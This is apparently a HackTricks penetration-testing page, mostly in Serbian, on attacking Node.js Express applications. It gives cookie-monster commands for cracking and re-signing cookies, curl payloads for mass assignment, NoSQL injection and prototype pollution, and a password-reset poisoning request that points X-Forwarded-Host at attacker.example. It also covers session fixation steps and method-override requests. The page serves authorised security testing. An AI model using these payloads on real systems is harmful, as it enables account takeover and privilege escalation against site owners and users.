NodeJS Express
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Quick Fingerprinting
Useful Express indicators during recon:
X-Powered-By: Expressor stack traces mentioningexpress,body-parser,qs,cookie-parser,express-session, orfinalhandler- Cookies prefixed with
s:(signed cookie) orj:(JSON cookie) - Session cookies such as
connect.sid - Hidden form fields or query parameters such as
_method=PUT/_method=DELETE - Error pages leaking
Cannot GET /path,Cannot POST /path,Unexpected tokeninbody-parser, orURIErrorduring query parsing
When you confirm Express, focus on the middleware chain, because most interesting bugs come from parsers, proxy trust, session handling, and method-tunneling rather than from the framework core itself.
Cookie Signature
The tool https://github.com/DigitalInterruption/cookie-monster is a utility for automating the testing and re-signing of Express.js cookie secrets.
Express commonly exposes two useful cookie formats:
s:<value>.<sig>signed cookies handled bycookie-parserorexpress-sessionj:<json>JSON cookies that are automatically parsed bycookie-parser
If cookie-parser receives a signed cookie and the signature is invalid, the value becomes false instead of the tampered value. If the application accepts an array of secrets, old secrets may still verify existing cookies after rotation.
Single cookie with a specific name
cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -n session
Prilagođeni wordlist
cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -w custom.lst
Testirajte više cookies koristeći batch mode
cookie-monster -b -f cookies.json
Testirajte više cookies koristeći batch mode sa custom wordlist
cookie-monster -b -f cookies.json -w custom.lst
Encode and sign a new cookie
Ako znate tajnu, možete signovati cookie.
cookie-monster -e -f new_cookie.json -k secret
Zloupotreba Query String-a i URL-Encoded parsera
Express targets često postaju zanimljivi kada parsiraju ključeve koje kontroliše napadač u ugnježdene objekte.
req.querymože biti konfigurisan sa različitim parserima, uključujućiqsexpress.urlencoded({ extended: true })koristiqs-stil parsiranja zaapplication/x-www-form-urlencoded- Ugnježdeno parsiranje omogućava object injection, mass assignment, NoSQL injection i prototype pollution lance ako se parsirani objekat spoji u stanje aplikacije
Praktični payloadi za isprobavanje:
# Mass assignment style probe
curl 'https://target.example/profile?role=admin&isAdmin=true'
# Nested object / qs syntax
curl 'https://target.example/search?user[role]=admin&filters[name][$ne]=x'
# URL-encoded body against express.urlencoded({ extended: true })
curl -X POST 'https://target.example/api/update' -H 'Content-Type: application/x-www-form-urlencoded' --data 'profile[role]=admin&filters[$ne]=x'
Ako aplikacija reflektuje ili sačuva rezultujući objekat, pređite na posvećene stranice za detalje eksploatacije:
Express Prototype Pollution Gadgets
Dodatni testovi koje vredi poslati posebno za Express:
- Duboko ugnježđavanje da se proveri ograničenja parsera, vremenska ograničenja ili razlike u 400/413
- Duplikat ključeva da se vidi da li aplikacija zadržava prvu vrednost, poslednju vrednost ili niz
- Sintaksa sa zagradama kao
a[b][c]=1, tačkasta sintaksa kaoa.b=1, i__proto__/constructor[prototype]payloads
trust proxy Zloupotreba
Ako aplikacija koristi app.set("trust proxy", true) ili veruje previše hop-ova, Express će izvesti vrednosti relevantne za bezbednost iz zaglavlja za prosleđivanje. Ako reverse proxy ne prepiše ta zaglavlja, klijent ih može direktno falsifikovati.
Ovo utiče na:
req.hostnameviaX-Forwarded-Hostreq.protocolviaX-Forwarded-Protoreq.ip/req.ipsviaX-Forwarded-For
Ovo je korisno za:
- Password reset poisoning and absolute URL poisoning
- Bypassing IP-based allowlists, rate limits, or audit trails
- Uticanje na rukovanje
securecookie-ima i logiku samo-HTTPS u aplikacijama koje se oslanjaju nareq.protocol - Poisoning redirects or cacheable responses when the app templates absolute links with forwarded host/proto headers
POST /reset-password HTTP/1.1
Host: target.example
X-Forwarded-Host: attacker.example
X-Forwarded-Proto: https
X-Forwarded-For: 127.0.0.1
Content-Type: application/json
{"email":"victim@target.example"}
Proverite da li generisani linkovi, lokacije preusmeravanja, logovi ili odluke o kontroli pristupa sada koriste vrednosti koje je obezbedio napadač.
Related pages:
Reset/Forgotten Password Bypass
Cache Poisoning and Cache Deception
express-session Napomene za testiranje
Uobičajene Express deployment-e koriste express-session, koji potpisuje cookie sa identifikatorom sesije, ali stvarno stanje čuva na serverskoj strani.
Korisne provere:
- Session fixation: autentifikujte se pomoću pre-login cookie-ja i proverite da li SID ostaje isti nakon prijave
- Weak secret rotation: neke deployment implementacije verifikuju cookie-e koristeći niz starih tajni, pa prethodno validni potpisi mogu i dalje raditi
saveUninitialized: true: aplikacija izdaje pre-auth sesije anonimnim korisnicima, što olakšava fixation i povećava površinu sesija za brute-force ili cache analizuMemoryStoreu production obično ukazuje na slabu operativnu zrelost i nestabilno ponašanje sesija pri restartu
Praktičan workflow za fixation:
- Dobijte anonimni session cookie sa cilja.
- Pošaljite taj cookie žrtvi ili se njime sami autentifikujte.
- Proverite da li prijava vezuje autentifikovani status za postojeći SID.
- Ako jeste, replay-ujte isti cookie u zasebnoj browser sesiji.
Ako aplikacija ne poziva req.session.regenerate() nakon autentifikacije, fixation je često i dalje moguć.
Tunelovanje preko Method Override
Neke Express aplikacije koriste method-override da tuneluju metode koje HTML forme ne mogu nativno poslati. Kada je omogućeno, uvek testirajte da li možete smuggle opasne metode kroz rutu za koju front-end, WAF, ili CSRF logika pretpostavlja da je samo POST.
Tipične probe:
POST /users/42 HTTP/1.1
Host: target.example
X-HTTP-Method-Override: DELETE
Content-Type: application/x-www-form-urlencoded
confirm=yes
POST /users/42?_method=PUT HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
role=admin
Zanimljivi uticaji:
- Dostizanje skrivenih
PUT/PATCH/DELETEruta preko edge kontrole ograničene naPOST - Zaobilaženje middleware-a specifičnog za rutu koji proverava samo
req.method - Pokretanje handlera koji menjaju stanje putem CSRF kada aplikacija proverava samo spoljašnji metod zahteva
Po defaultu middleware obično prepisuje samo POST, zato dajte prioritet POST zahtevima sa override vrednostima u header-u, body-ju i query-stringu.
Reference
- https://expressjs.com/en/guide/behind-proxies.html
- https://portswigger.net/research/server-side-prototype-pollution
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.


